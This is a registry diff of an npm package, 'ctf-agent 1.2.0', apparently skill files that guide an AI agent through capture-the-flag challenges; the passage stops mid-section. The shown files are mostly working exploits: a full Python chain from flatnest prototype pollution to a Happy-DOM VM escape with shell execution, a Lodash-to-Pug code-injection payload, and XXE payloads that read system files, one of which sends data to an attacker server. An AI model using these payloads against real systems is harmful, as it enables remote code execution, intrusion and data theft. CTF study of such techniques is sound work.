ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,200 @@
|
|
|
1
|
+
# CTF Web - Node.js Prototype Pollution & VM Escape
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [Prototype Pollution Basics](#prototype-pollution-basics)
|
|
5
|
+
- [Common Vectors](#common-vectors)
|
|
6
|
+
- [Known Vulnerable Libraries](#known-vulnerable-libraries)
|
|
7
|
+
- [flatnest Circular Reference Bypass (CVE-2023-26135)](#flatnest-circular-reference-bypass-cve-2023-26135)
|
|
8
|
+
- [Gadget: Library Settings via Prototype Chain](#gadget-library-settings-via-prototype-chain)
|
|
9
|
+
- [Node.js VM Sandbox Escape](#nodejs-vm-sandbox-escape)
|
|
10
|
+
- [ESM-Compatible Escape (CVE-2025-61927)](#esm-compatible-escape-cve-2025-61927)
|
|
11
|
+
- [CommonJS Escape](#commonjs-escape)
|
|
12
|
+
- [Why `document.write` Matters for Happy-DOM](#why-documentwrite-matters-for-happy-dom)
|
|
13
|
+
- [Full Chain: Prototype Pollution to VM Escape RCE (4llD4y)](#full-chain-prototype-pollution-to-vm-escape-rce-4lld4y)
|
|
14
|
+
- [Lodash Prototype Pollution to Pug AST Injection (VuwCTF 2025)](#lodash-prototype-pollution-to-pug-ast-injection-vuwctf-2025)
|
|
15
|
+
- [Affected Libraries](#affected-libraries)
|
|
16
|
+
- [Detection](#detection)
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## Prototype Pollution Basics
|
|
21
|
+
|
|
22
|
+
JavaScript objects inherit from `Object.prototype`. Polluting it affects all objects:
|
|
23
|
+
```javascript
|
|
24
|
+
Object.prototype.isAdmin = true;
|
|
25
|
+
const user = {};
|
|
26
|
+
console.log(user.isAdmin); // true
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
### Common Vectors
|
|
30
|
+
```json
|
|
31
|
+
{"__proto__": {"isAdmin": true}}
|
|
32
|
+
{"constructor": {"prototype": {"isAdmin": true}}}
|
|
33
|
+
{"a.__proto__.isAdmin": true}
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
### Known Vulnerable Libraries
|
|
37
|
+
- `flatnest` (CVE-2023-26135) — `nest()` with circular reference bypass
|
|
38
|
+
- `merge`, `lodash.merge` (old versions), `deep-extend`, `qs` (old versions)
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## flatnest Circular Reference Bypass (CVE-2023-26135)
|
|
43
|
+
|
|
44
|
+
**Vulnerability:** `insert()` blocks `__proto__`/`constructor`, but `seek()` (resolves `[Circular (path)]` values) has NO such checks.
|
|
45
|
+
|
|
46
|
+
**Code flow:**
|
|
47
|
+
1. `nest(obj)` iterates keys
|
|
48
|
+
2. Value matching `[Circular (path)]` → calls `seek(nested, path)`
|
|
49
|
+
3. `seek()` freely traverses `constructor.prototype` → returns `Object.prototype`
|
|
50
|
+
4. Subsequent keys write directly to `Object.prototype`
|
|
51
|
+
|
|
52
|
+
**Exploit:**
|
|
53
|
+
```json
|
|
54
|
+
POST /config
|
|
55
|
+
{
|
|
56
|
+
"x": "[Circular (constructor.prototype)]",
|
|
57
|
+
"x.settings.enableJavaScriptEvaluation": true
|
|
58
|
+
}
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
**Note:** 1.0.1 "fix" only guards `insert()`, not `seek()`. Completely unpatched.
|
|
62
|
+
|
|
63
|
+
---
|
|
64
|
+
|
|
65
|
+
## Gadget: Library Settings via Prototype Chain
|
|
66
|
+
|
|
67
|
+
**Pattern:** Library reads optional settings from options object. Caller doesn't provide settings → falls through to `Object.prototype`.
|
|
68
|
+
|
|
69
|
+
**Happy-DOM example (v20.x):**
|
|
70
|
+
```javascript
|
|
71
|
+
// Window constructor:
|
|
72
|
+
constructor(options) {
|
|
73
|
+
const browser = new DetachedBrowser(BrowserWindow, {
|
|
74
|
+
settings: options?.settings // options = { console }, no own 'settings'
|
|
75
|
+
// With pollution: Object.prototype.settings = { enableJavaScriptEvaluation: true }
|
|
76
|
+
});
|
|
77
|
+
}
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## Node.js VM Sandbox Escape
|
|
83
|
+
|
|
84
|
+
**`vm` is NOT a security boundary.** Objects crossing the boundary maintain references to host context.
|
|
85
|
+
|
|
86
|
+
### ESM-Compatible Escape (CVE-2025-61927)
|
|
87
|
+
```javascript
|
|
88
|
+
const ForeignFunction = this.constructor.constructor;
|
|
89
|
+
const proc = ForeignFunction("return globalThis.process")();
|
|
90
|
+
const spawnSync = proc.binding("spawn_sync");
|
|
91
|
+
const result = spawnSync.spawn({
|
|
92
|
+
file: "/bin/sh",
|
|
93
|
+
args: ["/bin/sh", "-c", "cat /flag*"],
|
|
94
|
+
stdio: [
|
|
95
|
+
{ type: "pipe", readable: true, writable: false },
|
|
96
|
+
{ type: "pipe", readable: false, writable: true },
|
|
97
|
+
{ type: "pipe", readable: false, writable: true }
|
|
98
|
+
]
|
|
99
|
+
});
|
|
100
|
+
const output = Buffer.from(result.output[1]).toString();
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
### CommonJS Escape
|
|
104
|
+
```javascript
|
|
105
|
+
const ForeignFunction = this.constructor.constructor;
|
|
106
|
+
const proc = ForeignFunction("return process")();
|
|
107
|
+
const result = proc.mainModule.require("child_process").execSync("id").toString();
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
### Why `document.write` Matters for Happy-DOM
|
|
111
|
+
`document.write()` creates parser with `evaluateScripts: true` → scripts are NOT marked with `disableEvaluation`. Only remaining check is `browserSettings.enableJavaScriptEvaluation` (bypassed via pollution).
|
|
112
|
+
|
|
113
|
+
---
|
|
114
|
+
|
|
115
|
+
## Full Chain: Prototype Pollution to VM Escape RCE (4llD4y)
|
|
116
|
+
|
|
117
|
+
**Architecture:**
|
|
118
|
+
1. Pollute `Object.prototype.settings` to enable JS eval in Happy-DOM
|
|
119
|
+
2. Submit HTML with `<script>` via `document.write()` (which sets `evaluateScripts: true`)
|
|
120
|
+
3. Script executes in VM, escapes via `this.constructor.constructor`, gets RCE
|
|
121
|
+
|
|
122
|
+
**Complete exploit:**
|
|
123
|
+
```python
|
|
124
|
+
import requests
|
|
125
|
+
TARGET = "http://target:3000"
|
|
126
|
+
|
|
127
|
+
# Step 1: Pollution via flatnest circular reference
|
|
128
|
+
pollution = {
|
|
129
|
+
"x": "[Circular (constructor.prototype)]",
|
|
130
|
+
"x.settings.enableJavaScriptEvaluation": True,
|
|
131
|
+
"x.settings.suppressInsecureJavaScriptEnvironmentWarning": True
|
|
132
|
+
}
|
|
133
|
+
requests.post(f"{TARGET}/config", json=pollution)
|
|
134
|
+
|
|
135
|
+
# Step 2: RCE via VM escape in rendered HTML
|
|
136
|
+
rce_script = """
|
|
137
|
+
const F = this.constructor.constructor;
|
|
138
|
+
const proc = F("return globalThis.process")();
|
|
139
|
+
const s = proc.binding("spawn_sync");
|
|
140
|
+
const r = s.spawn({
|
|
141
|
+
file: "/bin/sh", args: ["/bin/sh", "-c", "cat /flag*"],
|
|
142
|
+
stdio: [{type:"pipe",readable:true,writable:false},
|
|
143
|
+
{type:"pipe",readable:false,writable:true},
|
|
144
|
+
{type:"pipe",readable:false,writable:true}]
|
|
145
|
+
});
|
|
146
|
+
document.title = Buffer.from(r.output[1]).toString();
|
|
147
|
+
"""
|
|
148
|
+
r = requests.post(f"{TARGET}/render", json={"html": f"<script>{rce_script}</script>"})
|
|
149
|
+
print(r.text.split("<title>")[1].split("</title>")[0])
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## Lodash Prototype Pollution to Pug AST Injection (VuwCTF 2025)
|
|
157
|
+
|
|
158
|
+
**Vulnerable:** Lodash < 4.17.5 `_.merge()` allows prototype pollution via `constructor.prototype`.
|
|
159
|
+
|
|
160
|
+
**Pug template engine gadget:** Pug looks up `block` property on AST nodes. If a node doesn't have its own `block`, JS traverses the prototype chain → finds polluted `Object.prototype.block`.
|
|
161
|
+
|
|
162
|
+
**Payload:**
|
|
163
|
+
```json
|
|
164
|
+
{
|
|
165
|
+
"constructor": {
|
|
166
|
+
"prototype": {
|
|
167
|
+
"block": {
|
|
168
|
+
"type": "Text",
|
|
169
|
+
"line": "1;pug_html+=global.process.mainModule.require('fs').readFileSync('/app/flag.txt').toString();//",
|
|
170
|
+
"val": "x"
|
|
171
|
+
}
|
|
172
|
+
}
|
|
173
|
+
},
|
|
174
|
+
"word": "exploit"
|
|
175
|
+
}
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
**Delivery:** Base64-encode the JSON, send as `?data=<encoded>`.
|
|
179
|
+
|
|
180
|
+
**How it works:**
|
|
181
|
+
1. `_.merge()` on user input sets `Object.prototype.block` to malicious AST node
|
|
182
|
+
2. Pug template compilation checks `node.block` on every node
|
|
183
|
+
3. Nodes without own `block` inherit from prototype → finds injected Text node
|
|
184
|
+
4. `type: "Text"` with `line:` payload injects code during template compilation
|
|
185
|
+
5. Code executes server-side, reads flag
|
|
186
|
+
|
|
187
|
+
**Detection:** `lodash` < 4.17.5 in `package.json` + Pug/Jade template engine.
|
|
188
|
+
|
|
189
|
+
---
|
|
190
|
+
|
|
191
|
+
## Affected Libraries
|
|
192
|
+
- **happy-dom** < 20.0.0 (JS eval enabled by default), 20.x+ (if re-enabled via pollution)
|
|
193
|
+
- **vm2** (deprecated)
|
|
194
|
+
- **realms-shim**
|
|
195
|
+
- **lodash** < 4.17.5 (`_.merge()` prototype pollution)
|
|
196
|
+
|
|
197
|
+
## Detection
|
|
198
|
+
- `flatnest` in `package.json` + endpoints calling `nest()` on user input
|
|
199
|
+
- `happy-dom` or `jsdom` rendering user-controlled HTML
|
|
200
|
+
- Any `vm.runInContext`, `vm.Script` usage
|
|
@@ -0,0 +1,337 @@
|
|
|
1
|
+
# CTF Web - XXE, XML Injection, Command Injection, GraphQL
|
|
2
|
+
|
|
3
|
+
XXE payloads, XML injection, PHP variable-variable tricks, sequential regex bypasses, command injection, and GraphQL exploitation. For core server-side injection (PHP type juggling, file inclusion, SSTI, SSRF), see [server-side.md](server-side.md).
|
|
4
|
+
|
|
5
|
+
## Table of Contents
|
|
6
|
+
- [XXE (XML External Entity)](#xxe-xml-external-entity)
|
|
7
|
+
- [Basic XXE](#basic-xxe)
|
|
8
|
+
- [OOB XXE with External DTD](#oob-xxe-with-external-dtd)
|
|
9
|
+
- [XXE via DOCX/Office XML Upload (School CTF 2016)](#xxe-via-docxoffice-xml-upload-school-ctf-2016)
|
|
10
|
+
- [SVG XXE via svglib to PNG Pipeline (P.W.N. CTF 2018)](#svg-xxe-via-svglib-to-png-pipeline-pwn-ctf-2018)
|
|
11
|
+
- [XML Injection via X-Forwarded-For Header (Pwn2Win 2016)](#xml-injection-via-x-forwarded-for-header-pwn2win-2016)
|
|
12
|
+
- [PHP Variable Variables ($$var) Abuse (bugs_bunny 2017)](#php-variable-variables-var-abuse-bugs_bunny-2017)
|
|
13
|
+
- [PHP uniqid() Predictable Filename (EKOPARTY 2017)](#php-uniqid-predictable-filename-ekoparty-2017)
|
|
14
|
+
- [Sequential Regex Replacement Bypass (Tokyo Westerns 2017)](#sequential-regex-replacement-bypass-tokyo-westerns-2017)
|
|
15
|
+
- [Command Injection](#command-injection)
|
|
16
|
+
- [Newline Bypass](#newline-bypass)
|
|
17
|
+
- [Incomplete Blocklist Bypass](#incomplete-blocklist-bypass)
|
|
18
|
+
- [Sendmail Parameter Injection via CGI (SECCON 2015)](#sendmail-parameter-injection-via-cgi-seccon-2015)
|
|
19
|
+
- [Multi-Barcode Concatenation to Shell Injection (BSidesSF 2024)](#multi-barcode-concatenation-to-shell-injection-bsidessf-2024)
|
|
20
|
+
- [Git CLI Newline Injection via URL Path (BSidesSF 2026)](#git-cli-newline-injection-via-url-path-bsidessf-2026)
|
|
21
|
+
- [GraphQL Injection and Exploitation (Hack.lu CTF 2020, HeroCTF v5)](#graphql-injection-and-exploitation-hacklu-ctf-2020-heroctf-v5)
|
|
22
|
+
- [Introspection and Schema Discovery](#introspection-and-schema-discovery)
|
|
23
|
+
- [Query Batching and Aliasing for Rate Limit Bypass](#query-batching-and-aliasing-for-rate-limit-bypass)
|
|
24
|
+
- [String Interpolation Injection](#string-interpolation-injection)
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## XXE (XML External Entity)
|
|
29
|
+
|
|
30
|
+
### Basic XXE
|
|
31
|
+
```xml
|
|
32
|
+
<?xml version="1.0"?>
|
|
33
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
34
|
+
<root>&xxe;</root>
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
### OOB XXE with External DTD
|
|
38
|
+
Host evil.dtd:
|
|
39
|
+
```xml
|
|
40
|
+
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
|
|
41
|
+
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://YOUR-SERVER/flag?b64=%file;'>">
|
|
42
|
+
%eval; %exfil;
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
### XXE via DOCX/Office XML Upload (School CTF 2016)
|
|
46
|
+
|
|
47
|
+
DOCX files are ZIP archives containing XML. Modify `[Content_Types].xml` inside the DOCX to inject XXE payloads that execute when the server parses the uploaded document.
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
# Step 1: Create a minimal DOCX and extract it
|
|
51
|
+
mkdir docx_exploit && cd docx_exploit
|
|
52
|
+
unzip template.docx
|
|
53
|
+
|
|
54
|
+
# Step 2: Inject XXE into [Content_Types].xml
|
|
55
|
+
cat > '[Content_Types].xml' << 'EOF'
|
|
56
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
57
|
+
<!DOCTYPE foo [
|
|
58
|
+
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
|
|
59
|
+
]>
|
|
60
|
+
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
|
|
61
|
+
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
|
|
62
|
+
<Default Extension="xml" ContentType="application/xml"/>
|
|
63
|
+
<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
|
|
64
|
+
<Override PartName="/hack" ContentType="&xxe;"/>
|
|
65
|
+
</Types>
|
|
66
|
+
EOF
|
|
67
|
+
|
|
68
|
+
# Step 3: Repackage as DOCX
|
|
69
|
+
zip -r exploit.docx '[Content_Types].xml' word/ _rels/
|
|
70
|
+
|
|
71
|
+
# Step 4: Upload to target
|
|
72
|
+
curl -F "file=@exploit.docx" http://target/upload
|
|
73
|
+
# Response or error message may contain base64-encoded file contents
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
**Key insight:** Any file format based on ZIP+XML (DOCX, XLSX, PPTX, ODT, SVG+ZIP) can carry XXE payloads. The parser often processes `[Content_Types].xml` first, making it the ideal injection point. Use `php://filter/convert.base64-encode` for binary-safe exfiltration.
|
|
77
|
+
|
|
78
|
+
### SVG XXE via svglib to PNG Pipeline (P.W.N. CTF 2018)
|
|
79
|
+
|
|
80
|
+
**Pattern:** A service converts user-uploaded SVG to PNG using `svglib` + `reportlab`. The SVG parser expands external entities before rasterising, so an XXE entity referenced inside a `<text>` element ends up *drawn* onto the PNG.
|
|
81
|
+
|
|
82
|
+
```xml
|
|
83
|
+
<?xml version="1.0" standalone="no"?>
|
|
84
|
+
<!DOCTYPE foo [<!ENTITY dat SYSTEM "file:///opt/key.txt">]>
|
|
85
|
+
<svg xmlns="http://www.w3.org/2000/svg" width="200mm" height="10mm">
|
|
86
|
+
<text x="10" y="15" font-size="4" fill="red">&dat;</text>
|
|
87
|
+
</svg>
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
The resulting PNG contains the flag rendered as visible text. Download the PNG and OCR/eyeball it.
|
|
91
|
+
|
|
92
|
+
**Key insight:** Any SVG-to-image converter chain (`svglib`, `cairosvg`, `rsvg-convert`, librsvg) resolves XXE entities at parse time, so file contents can be smuggled through the image channel. The content appears in pixels, not metadata — grep is useless; open the image.
|
|
93
|
+
|
|
94
|
+
**References:** P.W.N. CTF 2018 — SVG2PNG, writeup 12064
|
|
95
|
+
|
|
96
|
+
---
|
|
97
|
+
|
|
98
|
+
## XML Injection via X-Forwarded-For Header (Pwn2Win 2016)
|
|
99
|
+
|
|
100
|
+
Application builds XML from HTTP headers (e.g., `X-Forwarded-For`) without sanitization. First-tag-wins XML parsing allows injecting arbitrary elements:
|
|
101
|
+
|
|
102
|
+
```http
|
|
103
|
+
X-Forwarded-For: 1.2.3.4</ip><admin>true</admin><ip>4.3.2.1
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
Produces: `<session><ip>1.2.3.4</ip><admin>true</admin><ip>4.3.2.1</ip><admin>false</admin></session>` -- the XML parser takes the first `<admin>true</admin>`, ignoring the legitimate `<admin>false</admin>` that follows.
|
|
107
|
+
|
|
108
|
+
**Key insight:** XML injection via HTTP headers when server builds XML from header values without escaping. First-match semantics exploit duplicate tags. Check any header that appears in server responses or logs as structured data (`X-Forwarded-For`, `User-Agent`, `Referer`).
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## PHP Variable Variables ($$var) Abuse (bugs_bunny 2017)
|
|
113
|
+
|
|
114
|
+
**Pattern:** PHP's variable variables (`$$key`) allow using a variable's value as the name of another variable. When a loop iterates over GET/POST parameters and assigns them as `$$key = $$value`, supplying `?_200=flag` captures `$flag`'s value into `$_200` before it gets overwritten.
|
|
115
|
+
|
|
116
|
+
```php
|
|
117
|
+
// Vulnerable pattern: loop that processes GET parameters as variable aliases
|
|
118
|
+
foreach ($_GET as $key => $value) {
|
|
119
|
+
$$key = $$value; // e.g., key="_200", value="flag" → $_200 = $flag
|
|
120
|
+
}
|
|
121
|
+
// Later: echo $_200; // outputs the flag
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
# Supply a "safe" output variable name as key, protected variable name as value
|
|
126
|
+
curl "http://target/page.php?_200=flag"
|
|
127
|
+
# PHP executes: $_200 = $flag → flag is now in $_200 which gets echoed
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
**How to find the output variable:** Look for variables beginning with HTTP status codes (e.g., `$_200`, `$_404`) in the source, or any variable echoed to output that starts with an underscore.
|
|
131
|
+
|
|
132
|
+
**Key insight:** `$$key` creates arbitrary variable aliases; iterating GET/POST params with `$$key = $$value` lets an attacker redirect protected variables (like `$flag`) into any output variable they control by naming the output variable as the key and the secret variable as the value.
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## PHP uniqid() Predictable Filename (EKOPARTY 2017)
|
|
137
|
+
|
|
138
|
+
**Pattern:** PHP's `uniqid()` uses `gettimeofday()` internally. The first 8 hex characters encode the Unix timestamp in seconds, making filenames predictable within a bounded time window.
|
|
139
|
+
|
|
140
|
+
```php
|
|
141
|
+
// Vulnerable: uses uniqid() to name an uploaded/generated file
|
|
142
|
+
$filename = uniqid() . '_flag.txt';
|
|
143
|
+
// e.g., "5a1b2c3d4e5f6_flag.txt" where first 8 chars = hex(unix_timestamp)
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
```python
|
|
147
|
+
import requests
|
|
148
|
+
import time
|
|
149
|
+
|
|
150
|
+
# Know approximate upload time (from server Date header, challenge hint, etc.)
|
|
151
|
+
start_ts = int(time.time()) - 60 # 60 second window before now
|
|
152
|
+
end_ts = int(time.time()) + 10
|
|
153
|
+
|
|
154
|
+
for ts in range(start_ts, end_ts):
|
|
155
|
+
hex_prefix = format(ts, '08x')
|
|
156
|
+
url = f'http://target/uploads/{hex_prefix}_flag.txt'
|
|
157
|
+
r = requests.get(url)
|
|
158
|
+
if r.status_code == 200:
|
|
159
|
+
print(f"Found: {url}")
|
|
160
|
+
print(r.text)
|
|
161
|
+
break
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
**Narrowing the window:** The server's `Date` response header tells you the server's current time. Record it when triggering file creation; the timestamp in the filename will match that second.
|
|
165
|
+
|
|
166
|
+
**Key insight:** PHP `uniqid()` first 8 hex chars = Unix timestamp in seconds. The file is fully predictable within a known time window — brute-force is O(seconds in window), typically under 100 requests.
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## Sequential Regex Replacement Bypass (Tokyo Westerns 2017)
|
|
171
|
+
|
|
172
|
+
**Pattern:** When a sanitizer applies regex replacements sequentially (not simultaneously), the first replacement can produce a substring that the second replacement should catch — but since the second replacement already ran (or the first runs after the second), the dangerous pattern survives.
|
|
173
|
+
|
|
174
|
+
```php
|
|
175
|
+
// Vulnerable: replacements run in sequence on the same string
|
|
176
|
+
$input = preg_replace('/on\w+=\S+/', '', $input); // pass 1: strip event handlers
|
|
177
|
+
$input = preg_replace('/<script[^>]*>/', '', $input); // pass 2: strip script tags
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
```text
|
|
181
|
+
# Embed the dangerous tag inside the blocked pattern so removal reconstructs it:
|
|
182
|
+
# Input: <scr<script>ipt>
|
|
183
|
+
# Pass 2 strips inner <script> → leaves: <script>
|
|
184
|
+
# The outer "scr...ipt" scaffolding is reassembled after the inner match is removed.
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
```bash
|
|
188
|
+
# Practical bypass — embed the dangerous string inside the blocked string:
|
|
189
|
+
# If filter strips "script" then strips "on.*=":
|
|
190
|
+
